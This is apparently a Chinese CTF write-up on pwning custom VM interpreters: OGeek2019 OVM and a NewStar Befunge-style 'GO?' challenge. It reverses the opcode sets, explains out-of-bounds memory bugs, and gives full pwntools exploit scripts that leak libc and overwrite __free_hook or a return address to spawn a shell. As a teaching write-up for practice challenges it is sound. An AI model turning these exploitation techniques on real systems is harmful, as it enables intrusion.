VMpwn
zach0ry

一般指 CTF Pwn 里“虚拟机解释器类题目”:题目程序自己实现了一套自定义指令集/字节码和一个解释器(VM),把很多类似“汇编/CPU”的概念(寄存器、栈、内存段、指令执行循环等)用代码模拟出来,然后你要在这套 VM 的实现里找漏洞并利用

主要难度在逆向分析

BUU

[OGeek2019 Final]OVM

在main函数中。第一部分输入合适的pc(opcode的开始index),sp(栈顶,这里有一个sp+code_size的大小校验进行边界限制),code_size()记录执行的指令的条数

image-20260121110951337

第二块中fetch会依次取出opcode

然后在execute进行匹配调用,主要是把opcode分为四块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
instr  -->  op | dst | op2 | op1  4B 32bit

op:
0x10 --> reg[dst] = op1
0x20 --> reg[dst] = (op1 == 0)
0x30 --> reg[dst] = memory[reg[op1]] --> mov mem, reg
0x40 --> memory[reg[op1]] = reg[dst] --> mov reg, mem
0x50 --> stack[sp++] = reg[dst] --> push reg
0x60 --> reg[dst] = stack[--sp] --> pop reg
0x70 --> reg[dst] = reg[op1] + reg[op2] --> add
0x80 --> reg[dst] = reg[op2] - reg[op1] --> sub
0x90 --> reg[dst] = reg[op1] & reg[op2] --> and
0xA0 --> reg[dst] = reg[op1] | reg[op2] --> or
0xB0 --> reg[dst] = reg[op1] ^ reg[op2] --> xor
0xC0 --> reg[dst] = reg[op2] << reg[op1]--> <<
0xD0 --> reg[dst] = reg[op2] >> reg[op1]--> >>
0XE0 and else --> exit

image-20260121111735606

第三块向刚才malloc的地址comment进行一个读入,并最后free掉这个chunk

image-20260121111951615

解题思路

通过改变commant的地址为free_hook-8的地址,并调用system后门函数

由于

0x30 –> reg[dst] = memory[reg[op1]] –> mov mem, reg
0x40 –> memory[reg[op1]] = reg[dst] –> mov reg, mem

两条opcode不会进行校验,存在整数溢出的漏洞,而且我们的memory是bss段上的,所以可以去附近查找一个libc地址,这里提取的是0x00007ffff7dd2700,并把它存储在reg[3]reg[2]中

image-20260121112727430

1
2
3
4
5
6
7
8
# copy stderr addr --> reg[3]reg[2]
sl(gen_code(0x10, 0, 0, 26)) # reg[0] = 26 (stderr offset)
sl(gen_code(0x80, 1, 1, 0)) # reg[1] = reg[1] - reg[0]
sl(gen_code(0x30, 2, 0, 1)) # reg[2] = memory[reg[1]] (stderr low 4B)
sl(gen_code(0x10, 0, 0, 25)) # reg[0] = 25
sl(gen_code(0x10, 1, 0, 0)) # reg[1] = 0
sl(gen_code(0x80, 1, 1, 0)) # reg[1] = reg[1] - reg[0]
sl(gen_code(0x30, 3, 0, 1)) # reg[3] = memory[reg[1]] (stderr high 4B)

接着计算和free_hook-8之间的距离,并把它通过计算偏移计算free_hook-8的地址

image-20260121114437846

最后把comment的值赋为free_hook-8的地址

1
2
3
4
5
6
7
8
9
sl(gen_code(0x10, 4, 0, 8))   # reg[4] = 8
sl(gen_code(0x10, 5, 0, 0)) # reg[5] = 0
sl(gen_code(0x80, 5, 5, 4)) # reg[5] = reg[5] - reg[4]=-8
sl(gen_code(0x40, 2, 0, 5)) # memory[reg[5]] = reg[2]
sl(gen_code(0x10, 4, 0, 7)) # reg[4] = 7
sl(gen_code(0x10, 5, 0, 0)) # reg[5] = 0
sl(gen_code(0x80, 5, 5, 4)) # reg[5] = reg[5] - reg[4]=-7
sl(gen_code(0x40, 3, 0, 5)) # memory[reg[5]] = reg[3]
sl(gen_code(0xE0, 0, 0, 0)) # exit

image-20260121114813220

最后传入后门函数就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ru("R2: ")
low = int(rud("\n"), 16)+8
ru("R3: ")
high = int(rud("\n"), 16)
f_hook = (high<<32)+low
print("f_hook: ", hex(f_hook))

libc = elf.libc
base = f_hook-libc.sym["__free_hook"]
print("base: ", hex(base))
sys = base+libc.sym["system"]
print("sys: ", hex(sys))

# attack
pad = b"/bin/sh\x00"+p64(sys)
s(pad)

因为最后是free(commant),对commant输入bin/sh+p64(system),参数放在commant上,system放在free_hook处,那么调用free(commant)时就会调用system(“bin/sh”)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
p = remote("node5.buuoj.cn", 28474)
#p=process("./vm")
elf = ELF("./vm")
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()


def gen_code(op, dst, op1, op2):
code = (op<<24)+(dst<<16)+(op1<<8)+op2
print(hex(code))
return str(code)

sla("PC: ", "0")
sla("SP: ", "1")
sla("CODE SIZE: ", "24")
ru("CODE: ")

# copy stderr addr --> reg[3]reg[2]
sl(gen_code(0x10, 0, 0, 26)) # reg[0] = 26 (stderr offset)
sl(gen_code(0x80, 1, 1, 0)) # reg[1] = reg[1] - reg[0]
sl(gen_code(0x30, 2, 0, 1)) # reg[2] = memory[reg[1]] (stderr low 4B)
sl(gen_code(0x10, 0, 0, 25)) # reg[0] = 25
sl(gen_code(0x10, 1, 0, 0)) # reg[1] = 0
sl(gen_code(0x80, 1, 1, 0)) # reg[1] = reg[1] - reg[0]
sl(gen_code(0x30, 3, 0, 1)) # reg[3] = memory[reg[1]] (stderr high 4B)

# modify reg[3]reg[2] --> free_hook-0x8
sl(gen_code(0x10, 4, 0, 0x10))# reg[4] = 0x10
sl(gen_code(0x10, 5, 0, 8)) # reg[5] = 12
sl(gen_code(0xC0, 4, 4, 5)) # reg[4] = reg[4] << reg[5]
sl(gen_code(0x10, 5, 0, 0xa)) # reg[5] = 0xA
sl(gen_code(0x10, 6, 0, 4)) # reg[6] = 4
sl(gen_code(0xC0, 5, 5, 6)) # reg[5] = reg[5] << reg[6]
sl(gen_code(0x70, 4, 4, 5)) # reg[4] = reg[4] + reg[5]
sl(gen_code(0x70, 2, 4, 2)) # reg[2] = reg[4] + reg[2]

# modify comment content --> free_hook-0x8
sl(gen_code(0x10, 4, 0, 8)) # reg[4] = 8
sl(gen_code(0x10, 5, 0, 0)) # reg[5] = 0
sl(gen_code(0x80, 5, 5, 4)) # reg[5] = reg[5] - reg[4]=-8
sl(gen_code(0x40, 2, 0, 5)) # memory[reg[5]] = reg[2]
sl(gen_code(0x10, 4, 0, 7)) # reg[4] = 7
sl(gen_code(0x10, 5, 0, 0)) # reg[5] = 0
sl(gen_code(0x80, 5, 5, 4)) # reg[5] = reg[5] - reg[4]=-7
sl(gen_code(0x40, 3, 0, 5)) # memory[reg[5]] = reg[3]
sl(gen_code(0xE0, 0, 0, 0)) # exit

# count
ru("R2: ")
low = int(rud("\n"), 16)+8
ru("R3: ")
high = int(rud("\n"), 16)
f_hook = (high<<32)+low
print("f_hook: ", hex(f_hook))

libc = elf.libc
base = f_hook-libc.sym["__free_hook"]
print("base: ", hex(base))
sys = base+libc.sym["system"]
print("sys: ", hex(sys))

# attack
pad = b"/bin/sh\x00"+p64(sys)
s(pad)

shell()

参考了__lifanxin师傅的讲解

new_star GO?

链接

文件的结构

1
2
3
4
5
go
└── gzip
└── tar
└── (真正的文件)

发现是zip文件先

1
2
3
4
5
6
┌──(p0ach1l㉿ZZH)-[~/Desktop/pwning]
└─$ file go
go: gzip compressed data, from Unix, original size modulo 2^32 2252800
┌──(p0ach1l㉿ZZH)-[~/Desktop/pwning]
└─$ mv go go.gz
gunzip go.gz

发现解出来的是tar

1
2
3
4
5
┌──(p0ach1l㉿ZZH)-[~/Desktop/pwning]
└─$ file go
go: POSIX tar archive (GNU)
┌──(p0ach1l㉿ZZH)-[~/Desktop/pwning]
└─$ tar -xf go

image-20260123172441759

image-20260123172457535

初始化放置指令集

image-20260123172523594

规定opcode的对应操作

分析

整理得到指令数集(可以用ai分析)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
==============================
80×25 网格解释器指令速查表
==============================

【执行模型】
- 程序位于 order[25][80]
- 指针从 (row=0, col=0) 开始
- direction:
0 = 右 (col + 1)
1 = 左 (col - 1)
2 = 上 (row - 1)
3 = 下 (row + 1)
- 每轮执行完指令后,都会按 direction 再移动 1 格
- 栈为空时 pop() 返回 0

------------------------------------------------

【常量 / 字符串】
'0'~'9' : 将对应数字 0~9 压栈
'"' : 字符串模式开/关
- 字符串模式下:
· 非 '"' 字符 → ASCII 值直接压栈
· '"' → 退出字符串模式

------------------------------------------------

【栈操作】
'$' : pop 丢弃栈顶
':' : dup,复制栈顶(x → x x)
'\' : swap,交换栈顶两个元素(a b → b a)

------------------------------------------------

【算术 / 逻辑运算】
'+' : b + a
'-' : b - a
'*' : b * a
'/' : b / a (a==0 → 0)
'%' : b % a (a==0 → 0)
'!' : 逻辑非(a==0 → 1,否则 0)
'`' : 比较(b > a → 1,否则 0)

------------------------------------------------

【方向控制】
'>' : 向右
'<' : 向左
'^' : 向上
'v' : 向下
'?' : 随机方向(0~3)
'_' : 水平条件
- pop == 0 → 右
- pop != 0 → 左
'|' : 垂直条件
- pop == 0 → 下
- pop != 0 → 上

------------------------------------------------

【流程控制】
'#' : 跳过下一格(额外移动一步)
'@' : 程序结束

------------------------------------------------

【输入 / 输出】
',' : 输出字符(putchar(pop))
'.' : 输出整数(printf("%ld", pop))
'~' : 读入 1 个字符(EOF → 0)
'&' : 读入 1 个整数(失败 → 0)

------------------------------------------------

【二维内存(自修改)】
'g' : 读取网格
- y = pop
- x = pop
- push(order[y][x])

'p' : 写入网格
- x = pop
- y = pop
- v = pop
- order[y][x] = v

------------------------------------------------

【补充说明】
- 坐标环绕:
· 行:0~24(mod 25)
· 列:0~79(mod 80)
- '#' 会导致该轮移动两次(case 内 + 轮末)
- rand() 使用 srand(time(0)) 初始化,行为不稳定
- 这是 Befunge-93 风格的解释器变体

==============================

原order中的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
col: 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 
-------------------------------------------------------
R0 : v · · · · · · · , * 2 5 · · · · <
R1 : " v · · · · · · · < · · · · · · ·
R2 :\n > ~ : 2 5 * · - | v · < · · · ·
R3 : t , · · · · · · · · · · , · · · ·
R4 : u , · · · · · · · > > : | · · · ·
R5 : p , · · · · · · · · · · > · · · ^
R6 : n , · · · · · · · · · · · · · · ·
R7 : i , · · · · · · · · · · · · · · ·
R8 : " , · · · · · · · · · · · · · · ·
R9 : > ^ · · · · · · · · · · · · · · ·
-------------------------------------------------------
R10 .. R24 : 全部为 ·(空格 / NOP)


   case '~':                               // 读入
     char = getchar();中getchar()是从 stdin 读 1 个字节

stdin / socket 是一个字节队列缓冲区:
send() 进去 300 个字节

内核缓冲区保存这 300 个字节

程序每次 getchar() 只取 1 个,所以可以从终端输入多个字符

~ : 25* - |其实是一个\n校验,\n的ascll码是10

如果是\n,方向向上下,不是\n,方向向上,然后<v回来继续执行

对此输入我们的payload,相当于把他们存入栈上了,最后因为sendline发送的\n结束这个循环(row=3,list=2)

1
2
payload = b'a'*0xff + b'&' + b'c' + b'>'
sla('input',payload)

变成如下,但是此时index的数值1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
col: 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16
-------------------------------------------------------
R0 : & · · · · · · · c · · · · · · · >
R1 : " v · · · · · · · < · · · · · · ·
R2 :\n > ~ : 2 5 * · - | v · < · · · ·
R3 : t , · · · · · · · · · · , · · · ·
R4 : u , · · · · · · · > > : | · · · ·
R5 : p , · · · · · · · · · · > · · · ^
R6 : n , · · · · · · · · · · · · · · ·
R7 : i , · · · · · · · · · · · · · · ·
R8 : " , · · · · · · · · · · · · · · ·
R9 : > ^ · · · · · · · · · · · · · · ·
-------------------------------------------------------
R10 .. R24 : 全部为 ·(空格 / NOP)

程序会在这R0打转,循环读入,我们让它读入255个字节覆盖到order

1
2
payload=b'1\t'*0xff
p.send(payload)

接着就是泄露got表地址,根据栈上的got表的偏移控制它的index

pack(payload)把一个Befunge 指令串(比如 b'&&&g.&$$')当作 8 字节 little-endian 的整数,转成十进制字符串再加换行发给程序:

  • 因为题目里 & 指令是 scanf("%ld",&v),一次读一个 long 压栈;
  • 栈元素是 qword(8 字节),所以把 8 个字符的指令“塞进一个 long”最方便;
  • payload.ljust(8, b'\x00') 是不足 8 字节补 0。

这允许你用数字输入,精确控制“栈上那 8 字节在解释器里会被当作什么指令/数据”。

泄露libc的opcode表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
&&&g.&$$
col: 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16
-------------------------------------------------------
R0 : & & & g · & $ $ c >
R1 : " v <
R2 :\n > ~ : 2 5 * - | v <
R3 : t , ,
R4 : u , > > : |
R5 : p , > ^
R6 : n ,
R7 : i ,
R8 : " ,
R9 : > ^
-------------------------------------------------------
R10 .. R24 : 全部为 ·(空格 / NOP)

image-20260125003410170

覆盖返回地址的opcode表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
&&&g.&$$
col: 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16
-------------------------------------------------------
R0 : & & & & p & $ $ c >
R1 : " v <
R2 :\n > ~ : 2 5 * - | v <
R3 : t , ,
R4 : u , > > : |
R5 : p , > ^
R6 : n ,
R7 : i ,
R8 : " ,
R9 : > ^
-------------------------------------------------------
R10 .. R24 : 全部为 ·(空格 / NOP)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import*
context.update(arch='amd64',os='linux',log_level='debug')
libc=ELF('./libc.so.6')
def pack(payload):
return str(int.from_bytes(payload.ljust(8,b'\x00'),'little')).encode()+b'\n'

def dbg():
gdb.attach(p)
pause()
def sla(a, b):p.sendlineafter(a, b)
def ru(a):p.recvuntil(a)
def sa(a, b):p.sendafter(a, b)
# dd=0
# if dd:
#p=process('./chal')
# else:
p = remote('192.168.137.1', 20976)

payload=b'a'*0xff+b'&'+b'c'+b'>'
sla(b'input',payload)
# sleep(1)
# dbg()
payload=b'0\n'*0xff
p.send(payload)
#leak
sleep(1)
p.clean()


byte=[]
for i in range(6):
payload=pack(b'&&&g.&$$')
payload+=str(-0x908+i).encode()+b'\n'
payload+=b'0\n'
p.send(payload)
byte.append(p.recv(10,timeout=1))
p.send(b'0\n')
sleep(0.1)



nums = [int(x) for x in byte]
unsigned = [(x + 256) % 256 for x in nums]
addr_bytes = bytes(unsigned)
addr = int.from_bytes(addr_bytes[:8], 'little')
print("addr:"+hex(addr))
libc_base=addr-libc.sym['getchar']
print("libc:"+hex(libc_base))
target=p64(libc_base+0xdd063)
# dbg()
for i in range(6):
payload=pack(b'&&&&p&$$')
b=target[i]
payload+=str(int.from_bytes(bytes([b]), 'little', signed=True)).encode()+b'\n'
payload+=b'0\n'
payload+=str(-0x8e8+i).encode()+b'\n'
p.send(payload)
p.send(b'0\n')

payload=pack(b'&&&')+pack(b'?')+b"0\n"
p.send(payload)
#
p.interactive()

看字符串 x/80cb $order+80

set $pie=

p/d (int)($pie + 0x50F0)

set $index =(int*)($pie + 0x50F0)

set $order = (char*)($pie + 0x4920)

set $stack = (char*)($pie + 0x4120)